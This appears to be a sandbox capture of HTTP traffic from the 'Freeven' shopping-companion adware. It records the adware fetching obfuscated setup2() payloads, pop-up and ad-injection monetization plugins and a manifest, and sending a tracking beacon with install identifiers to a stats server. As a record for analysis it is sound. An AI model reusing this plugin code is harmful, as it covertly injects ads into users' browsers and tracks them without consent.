if (typeof setup2 === 'function') { setup2('MGE2YjdhNWIwMDE3MTAxMTJkMTExZDQzNDk1OTRhMGIxMDE1MDg1OTVlNGUxMDE1MDMwNzAxMDAxNDEwNWYwMjFjMTQ0NzAyMDAzMjFkMTEwNzA0NWMxZTBkMTczMDAwMWY1YzAxMDgxNzQ0NTk1MjU0NTM0OTQ1MTIwODE3NDQzNzNjMjczMzM3MzAyMjMzM2EzZDJkMzEzYjI0MjAzNzM0MmYzNzNjMmMzYzM3MzQzYTNjMzgyNTJjMjY0ZTAyMTQxMTM2MDIxYzA0NGUyNjM3MjAzNjJlMmIzMDIzMjgzNzNjM2EzYzI1MzEyODNjM2YyMDNlM2MzNzNjNDY0ZDcyNmE1MzExMWYwYzBmMGEwYTI4MWM0MTRiNDE0MTQxNTk2OTE5', 'qasyhcdaxc'); }....

GET /plugins/mins/260.js?ver=4&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1405263875"

Last-Modified: Sun, 13 Jul 2014 15:04:35 GMT

Cache-Control: max-age=900

Content-Length: 823

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds034.fr7.c

if (typeof setup2 === 'function') { setup2('MGI3MDdiNTQwZDAwMTYxZjNkMWYxYzU4NDg1NjQ3MWMxNjFiMTg1NzVmNTUwNTA1NGIwNDEwMDYwYjA4MTQxZjA2MTMwNjAwNGMwYzA3MDA1ZjA5NWQwNjAxMWUxMTVhNWI1YjQyNGIxMzQ2NTM0NTU1MGI1YjA5NWUxMDAxNDkxNjFkMDY1MjM3MzIzMzI4M2QyNTM2MjYyYjJiMmQzZjJmM2YyYTIyMjAzYTI2MmEyYzMyMjMyZjMwMjkyYzMwM2QzMDRlMGMwMDBhMWMxNzA4MTE1ZjMwMzcyZTIyMzUyMTI1MzczZDI2MmEzYTMyMzEyYTIyMjkyYjM1MmYyYTM3MzI1MjU2Nzg3ZjQ3MWMxNjFiMTgxZTI1MDgxZTU0NWY1NDQwMDcxYzE5MDAwOTQ4NTk0YTAzMTE0MTE4MWYxOTE5MTcxMjAwMDAwNzBjMWM0MzEzMTUxZjU5MTY1YjEyMGIwMjFlNDU0OTQ0NDQ1NDE1NTI1OTU5NWExNDQ5MTY1ODBmMDc1ZDFjMDEwOTRkMjUyZDM1MzczYjMxM2MzYTI0MzQzZjIwMjkyMDJjMzYyYTI2MjkzNTNlMmQyNTMwMzYzZDI2MmMzMjJmNWMxMzA2MTUxYTAzMDIwZDUwMmYyNTMxMjQyYTI3MzEzZDIxMjkzNTI4MmQzNzM1MjQzZDIxMjkyMDM1MjUyZDU0NDk3ZTZiNGQxODAxMDUxZDFiMTgyYzEwNDA1NTQ4NWY0NjRhNzgwYg==', 'pzrvetbohm'); }....

GET /plugins/mins/288.js?ver=4&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1426880306"

Last-Modified: Fri, 20 Mar 2015 19:38:26 GMT

Cache-Control: max-age=900

Content-Length: 963

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds021.fr7.c

if (typeof setup2 === 'function') { setup2('MWU2NzVhNWE1NDQ1NTMxYjE5MTcxNTM4MDgxNjU2NWY1MTUxMDUxNzExMWQ0MDU1NWIwYzAyMDcwYzE3MGMwZTU0MWYwNzBkMWUwMzBlMGMwODFkNTQxOTFiMDg1ZTE1MDI0YzA4MDQxNDU1MTcxNzAwMTA0MzA5MTY1MjEyMTMxMDU4MmUyYzJlMzEyYTNlMjkyODNkMjEzNDIxMzIzNjM2MjgyODI1M2QyMTJlMmM0YjAxMGIwYzE3MWY0OTNhMmUzMDNmMmMzNjNlMjgzMzMwMjAyMzJjMmMzMzM1MzIzNDNiMzkyMDJlMmM0YjEwMTAwZjEzMWU0OTNhMmUzMDNmMmMzNjNlMjgzMzMwMjAyMzJjMjgzYjMxMjgzNDNlMzEyMTJlMjAzODIxM2EyNDNlMjUyYjQ3NWQ3OTRkNDM0NTRkNTgxMjAwMTEwMTAwMzgxMTA5NGY0MDVhNTYwZDA1MDcxZDEwNWY0MjU1MTMwNzExMTAwNzA0MDA0YjA4MDkxMjFiMTUxMjFjMDAxMzRiMGUxNTE3NWIwMzFlNWMwMDBhMGI0MjE5MDgwNTA2NWYxOTFlNWMwZDA0MWU0NzJiM2EzMjIxMjIzMDM2M2YzMzNlMzEzNzJlMjYzZTI2MzczMjMzM2UyYjNhNTcxMTAzMDIwODA4NDcyNTJiMjYyMzNjM2UzMDM3MjQzZTNmMjYzYTMwMjMzZDNjMmIyYzM3M2YyYjNhNTcwMDE4MDEwYzA5NDcyNTJiMjYyMzNjM2UzMDM3MjQzZTNmMjYzYTM0MmIzOTI2MmIyOTNmM2UyYjM2MjQzMTMyMmEyMTMyMjU1ODU4NmY1MTUzNGQ0MzQ3MWQxNjBmMTMwYzFmM2EwOTQxNWY0ZDQ4NDI0YzZmMGM=', 'emzzteqsmc'); }....

GET /plugins/mins/233.js?ver=7&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1408273128"

Last-Modified: Sun, 17 Aug 2014 10:58:48 GMT

Cache-Control: max-age=900

Content-Length: 867

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds022.fr7.c

if (typeof setup2 === 'function') { setup2('MDE2NzdiNGMxZDEwMTIxZTM2MDcxNjRmNDg0ZTU3MGMxMjFhMTM0ZjU1NDIxMzFkMDcxMjRiMGY0ZDE0MTEwYzFmMGYxYzBjMDI0MDBkMTAwZTQyMDEwYTVhNTU1MTVlNTM1YTRiNWQ0NzVlNWIwZTE1NGM0ZjdmNzM0ZjFhMWEwMTE0MTUzYjExMTk1ODU3NTI0YzFkMTAxMjFlMTA0ZjU1NDIxMzFkMDcxMjRiMGY0ZDE0MTEwYzFmMGYxYzBjMDI0MDBkMTAwZTQyMDEwYTVhNTU1MTVlNTM1YTRiNWQ0NzVlNWIwZTE1NGM0ZjdmNzM0ZjAyMDIwMDAzMGYwMDJhMTE1ODU3NTI1YzQ2NTc0YTY0NDM1NTVhNGQ1MDE4MTAxNjEyMDcwMDE0MTY0ZjQ4NGUyZTQ2MDcwYTEwNTcyNzQxNzg0ZTU1NDQ0NjRjMGExYjE2MDQxYzBiM2YzNzQ0NTQ0MzU3MGQwNDFjMGExYTEzNDgzMTExMDMwMDVjNDU1ZTQ1MWM1NzVlNTY0NTVhNTA1MjE1NTU0MzE2MWIwMTE5MTMxZTFhMGIwNzNiMTUxYjAxMWMxZTRhNDg0ZTUyM2IzOTJkMzEzYTI5M2UyMDI3MzEyMTM0MzEyNjJkMmUyODNjMmEzMDIwMzkzZDM2MzcyNTI0MzYzMTJhNDM0YTRlNDQxNDFlMDkxZDAwMWIwNTBiMGI0NDRmNWE0YTJkMzEzNjM2MjkzZDMwMjczMzI5MzczYzJhMjUzNjNlM2MzYjNiMjAzNzMxMmE0MzFiNTU0MTdmMDc=', 'zmrnudfncu'); }....

GET /plugins/javascripts/monetization/geo/set_campaign_id_m.js?ver=5&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1405929866"

Last-Modified: Mon, 21 Jul 2014 08:04:26 GMT

Cache-Control: max-age=142

Content-Length: 508

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds026.fr7.c

appAPI.internal.monetization = appAPI.internal.monetization || {};.if (typeof appAPI.internal.monetization.plugins === "undefined") { appAPI.internal.monetization.plugins = {}; }..appAPI.internal.monetization.plugins[226] = function() {..if (appAPI.internal.monetization.loader && appAPI.internal.monetization.loader.setCampaignId && appAPI.internal.monetization.getCampaignId) {...if (appAPI.internal.monetization.getCampaignId() == 0) {....appAPI.internal.monetization.loader.setCampaignId(1026);...}..}.};....

GET /plugins/mins/221.js?ver=4&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1404650838"

Last-Modified: Sun, 06 Jul 2014 12:47:18 GMT

Cache-Control: max-age=900

Content-Length: 413

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds015.fr7.c

appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins==="undefined"){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[221]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(221,["pops"])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:"DOWNLOADS"}))();};....

GET /plugins/mins/195.js?ver=28&rnd=8467 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1404650834"

Last-Modified: Sun, 06 Jul 2014 12:47:14 GMT

Cache-Control: max-age=900

Content-Length: 408

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds008.fr7.c

appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins==="undefined"){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[195]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(195,["pops"])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:"LITE"}))();};....

GET /plugins/mins/7.js?ver=2&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1402409611"

Last-Modified: Tue, 10 Jun 2014 14:13:31 GMT

Cache-Control: max-age=900

Content-Length: 683

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668153.cds037.fr7.c

appAPI.hooks={$:$jquery_171,hooks:{},addHook:function(a,b){this.hooks[a]=b;},removeHook:function(a){delete this.hooks[a];},register:function(b,a){return this.hooks[b]?new (this.$.Class.extend(this.$.extend(this.getClass(),this.$.isFunction(this.hooks[b])?this.hooks[b]():this.hooks[b])))(a):null;},getClass:(function(a){return function(){return{listeners:[],addListener:function(b,c){this.listeners.push({name:b,fn:c});},removeListener:function(c,d){var b=[];a.each(this.listeners,function(e,f){if(c!=f.name&&d!=f.fn){b.push(f);}});this.listeners=b;},fireEvent:function(b,c){a.each(this.listeners,a.proxy(function(d,e){if(b==e.name){e.fn.call(this,c);}},this));}};};}($jquery_171))};....

GET /plugins/mins/193.js?ver=9&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1408273131"

Last-Modified: Sun, 17 Aug 2014 10:58:51 GMT

Cache-Control: max-age=900

Content-Length: 867

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds008.fr7.c

if (typeof setup2 === 'function') { setup2('MWQ2MjdhNDMwMzBlMTIwMDM4MDIwYTRhNDk0MTQ5MTIxMjA0MWQ0YTQ5NDcxMjEyMTkwYzRiMTE0MzExMGQwOTFlMDAwMjEyMDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1NDUxMDE1NTI0MTdhNmY0YTFiMTUxZjBhMTUyNTFmMWM0NDUyNTM0MzAzMGUxMjAwMWU0YTQ5NDcxMjEyMTkwYzRiMTE0MzExMGQwOTFlMDAwMjEyMDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1NDUxMDE1NTI0MTdhNmY0YTAzMGQxZTFkMGYxZTI0MTQ0NDUyNTM1MDUyNDk0YTdhNGQ1MDQ2NDg1MTE3MGUwODEyMTkwZTExMGE0YTQ5NDEzMDU4MDcxNDFlNTIzYjQ0Nzk0MTRiNWE0NjUyMDQxZTBhMDExZDA0MjEyOTQ0NGE0ZDUyMTEwMTFkMDUwNDBkNDgyZjFmMDYxYzU5NDQ1MTViMDI1NzQwNWY0NDQ2NTU1MzFhNGI1ZDE2MDUwZjFjMGYxYjFiMDQxOTI1MTUwNTBmMTkwMjRmNDk0MTRjMjUzOTMzM2YzZjM1M2IyMTI4MmYzZjM0MmYyODI4MzIyZDNkMjUyZTNlMzkyMzM4MzIzOTIxMzczZTM0NWQ0YTUwNGExMTAyMGMxYzBmMDUxYjBiMTU0YTRhNDY0ZjJjM2UyODI4MjkyMzNlMjIyZjJjMzYzMzM0M2IzNjIwMzIzZTI3MjUzNjNlMzQ1ZDFiNGI0ZjdhMWI=', 'fhsakzfpmp'); }....

GET /plugins/mins/180.js?ver=12&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1405846499"

Last-Modified: Sun, 20 Jul 2014 08:54:59 GMT

Cache-Control: max-age=900

Content-Length: 1383

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds020.fr7.c

if (typeof setup2 === 'function') { setup2('MTU2MDY1NDUxYTE5MWIxZTMyMTAwMjQ4NTY0NzUwMDUxYjFhMTc1ODQxNDUwZDQ5MDYwYjE3MDcxNjRjMGQwNTAxNDgxMzQzMWYwNjE3NWQ1ODU4NWExNTE3MGI1ZDUzMzgzZDJkMzgyMzM0MjEzZjI2MmEyMjMwMzEyZjM0MzMzNzIzMmIyYjIzM2QzZDNmMmUzODNiMjkzMDMxNDE1NDVjNWMyMjA2MWYwODUyMzEzODIxM2MyNTNmMzQyMDI0MmIyYjM1M2QyZjNhM2MzODNjMmMyMjJiMzgzZDQ4NWM1ZTUxMDAwODA5NWQ1YTNkMzEyOTNlMjgyMTNlM2QyNzIzMjczYzM1MzkzNDM3M2YzMDI3MjMzZDMxNGM1YTU1NDQxZjBhMDg1NjVmNTg1OTViNTU0NDBiNTg1ZDUwNTE1OTU4NWE1ZTQ0NTk1OTViNTA1MDQ4MWUwOTBlMTY1MDMwMzEyNDMwMjEzOTNmMzUzYjI5MmEzYzM4MjMzZTNhMzMyZTM2MzIzMDQ4MTMxNzA3MGU1MTM4MmQyZTNkMjEzNDMxM2MyMzI4MjIyMDMyMjYyMDM0MzYyZjI2MjAyMjIwMzIzYTNkMjIzMDMxMjMyODM4MmQ0ZjQzNjQ2ZTQwMDYxZTE4MTcwMTM4MWQwMjQ1NTg0ZTQ4MDQxMzA2MWQxYzU0NDg0ZDBmNDQxODAxMGEwNDFlNDAwNDBkMDM0NTBkNDkwMjA1MWY1MTUxNTA1ODE4MDkwMTQwNTAzMDMxMjQzMDIxMzkzZjM1M2IyOTJhM2MzODI3MzYzZTI5MjkzNjI4MmIzMTM0MzcyYzM1MjUyMzJkMzI0OTU4NTU1NDIwMGIwMTAyNGYzMjMwMmQzNTJkM2QzOTNlMmUzNjI4M2QzMTI2MzIzZTM1MjIyNjNmMjgzMDMxNDE1NDVjNWMxZTAyMTQ1ZTUyMzEzODIxM2MyNTNmMzQyMDI0MmIyYjM1M2QzYjM5MjkzNTJkMjQyYjMxMzg0NDU4NTg1YTE1MTcwYjVlNTM1MTUxNTk1ODVhMDE0NTVlNTg1ZDUwNTA1ODUzNWE1MzQ0NTg1ODVjNDExNjBiMDMwODVhMmQzMjJjM2MyODMxM2QzODI1MjMzNzNmMzAyZjM3MzIzMTIzMjgzODJkNGIxYjFiMGUwNjUzMzUzMzI0MjAyMjNjM2QzNTJiMmEyZjNlMzgzYjIzM2MzYTI2MmUyMjJmM2UzODI3M2UyYTNjMzgyYjJhMzUzMzQ1NWU2NzY2NGMxNzBlMWIwZDA1MDkzYjA5NGQ1NDQ3NTM1NjVhNjYxYQ==', 'njlgrmongb'); }....

<<< skipped >>>

GET /plugins/mins/91.js?ver=135&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1427097623"

Last-Modified: Mon, 23 Mar 2015 08:00:23 GMT

Cache-Control: max-age=492

Content-Length: 187756

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds012.fr7.c

(function(M){window.__loaderIsRunning__=false;var A=[].slice;var z={};var a=function(at){if(typeof at=="string"&&typeof at.trim=="function"){return at.trim();}return at==null?"":at.toString().replace(/^\s /,"").replace(/\s $/,"");};function f(at){var au=z[at]={},av,aw;at=at.split(/\s /);for(av=0,aw=at.length;av<aw;av ){au[at[av]]=true;}return au;}var H=function(at,au){var aw=[];for(var av=0;av<at.length;av ){if(av in at){var ax=au(at[av],av,at);if(ax!=null){aw.push(ax);}}}return aw;};var ad=function(aw,az,av){var au,ax=0,ay=aw.length,at=ay===undefined||appAPI.utils.isFunction(aw);if(av){if(at){for(au in aw){if(az.apply(aw[au],av)===false){break;}}}else{for(;ax<ay;){if(az.apply(aw[ax ],av)===false){break;}}}}else{if(at){for(au in aw){if(az.call(aw[au],au,aw[au])===false){break;}}}else{for(;ax<ay;){if(az.call(aw[ax],ax,aw[ax ])===false){break;}}}}return aw;};var J=function(av){av=av?(z[av]||f(av)):{};var aA=[],aB=[],aw,ax,au,ay,az,aD=function(aE){var aF,aI,aH,aG,aJ;for(aF=0,aI=aE.length;aF<aI;aF ){aH=aE[aF];aG=appAPI.utils.isArray(aH)?"array":(appAPI.utils.isFunction(aH)?"function":"");if(aG==="array"){aD(aH);}else{if(aG==="function"){if(!av.unique||!aC.has(aH)){aA.push(aH);}}}}},at=function(aF,aE){aE=aE||[];aw=!av.memory||[aF,aE];ax=true;az=au||0;au=0;ay=aA.length;for(;aA&&az<ay;az ){if(aA[az].apply(aF,aE)===false&&av.stopOnFalse){aw=true;break;}}ax=false;if(aA){if(!av.once){if(aB&&aB.length){aw=aB.shift();aC.fireWith(aw[0],aw[1]);}}else{if(aw===true){aC.disable();}else{aA=[];}}}},aC={add

<<< skipped >>>

GET /plugins/mins/345.js?ver=13&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1426517806"

Last-Modified: Mon, 16 Mar 2015 14:56:46 GMT

Cache-Control: max-age=900

Content-Length: 645

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668152.cds012.fr7.c

__INFORMATION_MAPPING__={ads:[101,108,116,117,125,126,135,141,158,159,170,171,174,178,180,192,193,206,211,225,230,231,232,233,239,241,261,264,266,279,284,289,297,300,302,306,309,310,314,333,334,339,340,344,363,368,372,374,379,387,388,393],pops:[108,127,155,170,179,190,195,197,208,221,224,265,273,277,278,280,281,292,293,294,296,262,303,324,337,338,341,343,346,347,356,357,358,390],intext:[103,117,123,142,259,263,342,359,360,391],shopping:[92,93,102,104,117,124,128,138,184,191,198,199,200,204,213,215,218,223,227,228,234,235,237,242,243,256,260,254,275,282,288,290,295,301,304,307,308,311,317,325,327,328,335,350,351,369,370,371,375,385,389]};....

GET /plugins/mins/253.js?ver=2&rnd=6500 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1417718237"

Last-Modified: Thu, 04 Dec 2014 18:37:17 GMT

Cache-Control: max-age=900

Content-Length: 735

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668153.cds026.fr7.c

if (typeof setup2 === 'function') { setup2('MGU2MDdmNDgwNTEyMTUxYjM0MTgxOTQ4NGM0YTRmMzkzZTI4MzMzNTIwM2EzMjJiMzkyMzNlMjMyZTM5MjEzNTI5NDUwZjBmNGUwYTRmMDAwNjQ4NWE2MDY0NDQxMTA3MTQwZDFjMDQzZjBlNGY1YzQxNTk1NDU5NTk2MDdmNDgwNDA4MGQwMjBmMGYzZjM5NTQ1MDRkNDQxNjAyMGYwZTFhMWQ1ODM1MzIwNDA4MzQxMTAzMGQwZjFhMzUxODE0MGQzNDNlNGE0ODRhNTEzNTMyMjUzMzM0MzIzZTM0M2UyNTM1MjUyOTMyM2YzZTM1NWEwODFmNDQwYTBmMDc1NDAyMGIxODFhMTcwMzBhMDg1YzM0M2UyOTI3MjUyNTM5M2YyZjI1MmUzMzM1MzYyYjNiM2EzMjJmMjUzNDNlNGMxNzE4MTkxZDFlMDMxMzU2M2UzNTM2MzgzOTM5M2UzNDI4MmYyNDM4MmEyODI0MjUzYTM1MjQzOTNlMzU1MzA4MWYwOTUwMzkzZTI4MzMyNTI2MzkyNDIzMjkyMzMzMzQzNDM5MzAzODI5MjMyOTM5M2U0ZDEzMDQxMTU3NTE0YTQ2NDY0OTA1MDQxZDU1MmUxNzFlMDg0ZTQ4NDI0ZjBkMTAxZTIyMDMwMDAzNDk0MjVhNDg3ZjE3', 'ujvjmfakaj'); }....

GET /plugins/javascripts/jquery-1_7_1_min.js?ver=5&rnd=6500 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1407922596"

Last-Modified: Wed, 13 Aug 2014 09:36:36 GMT

Cache-Control: max-age=805

Content-Length: 94779

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop003.fr7.t,1427668153.cds026.fr7.c

var jQuery = $jquery_171 = $jquery = null;..if (document && typeof document.getElementById !== "undefined") {../*! jQuery v1.7.1 jquery.com | jquery.org/license */.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<" a ">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"") "<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g ){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l " " k,n=e[m]||e["* " k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1] " " k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "

<<< skipped >>>

GET /apps.gif?action=update&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&subid=0&zdata=0&appver=111&bgver=1&pluginsver=103&curtime=1427668154&lifetime=32&oldappver=22&oldbgver=1&oldpluginsver=17&rnd=270 HTTP/1.1

Accept: */*

Host: stats.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: 0MDsJw0wieJKNphn6oEhWe3FuJFCpMROJRepge/i3uG2VsN/u5mYBOAnPcwYVkAvpHrXcXsSUi0=

x-amz-request-id: 8DB28FFF27574AB6

Date: Sun, 29 Mar 2015 22:29:15 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:56:30 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;..

GET /plugin/apps/54248/manifest/1_34_05_04/ie6/manifest.xml?ver=22&rnd=677 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:10 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1427642855"

Last-Modified: Sun, 29 Mar 2015 15:27:35 GMT

Cache-Control: max-age=900

Content-Length: 1708

Content-Type: text/xml; charset=UTF-8

X-HW: 1427668151.dop005.fr7.t,1427668150.cds020.fr7.e

<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>. <Ver>111</Ver>. <ShortName>Freeven pro</ShortName>. <Description>Feven Shopping Companion</Description>. <PublisherName>Freeven</PublisherName>. <HomePageLink>NA</HomePageLink>. <JSLink>hXXp://js.ourstatsstaticstack.com/plugin/apps/54248/js/na/ie/app_code.js</JSLink>. <GroupID>0</GroupID>. <Domain>NA</Domain>. <RunInIframe>false</RunInIframe>. <ThanksURL>NA</ThanksURL>. <EmailSignature>NA</EmailSignature>. <SettingsURL>NA</SettingsURL>. <CertifiedInstall>NA</CertifiedInstall>. <ExposeSites>NA</ExposeSites>. <RemoteFBApiURL>NA</RemoteFBApiURL>. <DisableIE>true</DisableIE>. <DisableFF>true</DisableFF>. <EnableSearchIE>false</EnableSearchIE>. <EnableSearchFF>false</EnableSearchFF>. <AddressbarIE>NA</AddressbarIE>. <AddressbarFF>NA</AddressbarFF>. <AddressbarFFEnhanced>NA</AddressbarFFEnhanced>. <AddressbarCR>NA</AddressbarCR>. <NewTabURL>NA</NewTabURL>. <NewTabEmbed>NA</NewTabEmbed>. <OpenSearchURL>NA</OpenSearchURL>. <BackgroundJS>hXXp://js.ourstatsstaticstack.com/plugin/apps/54248/bg/na/ie/bg_code.js</BackgroundJS>. <BackgroundVer>1</BackgroundVer>. <Manifest>NA</Manifest>. <

<<< skipped >>>

GET /plugin/apps/54248/js/na/ie/app_code.js?ver=111&rnd=2816 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1427498129"

Last-Modified: Fri, 27 Mar 2015 23:15:29 GMT

Cache-Control: max-age=900

Content-Length: 3

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668151.dop002.fr7.t,1427668152.cds032.fr7.pr

.......

GET /plugin/apps/54248/plugins/na/ie/plugins.json?ver=103&rnd=9831 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

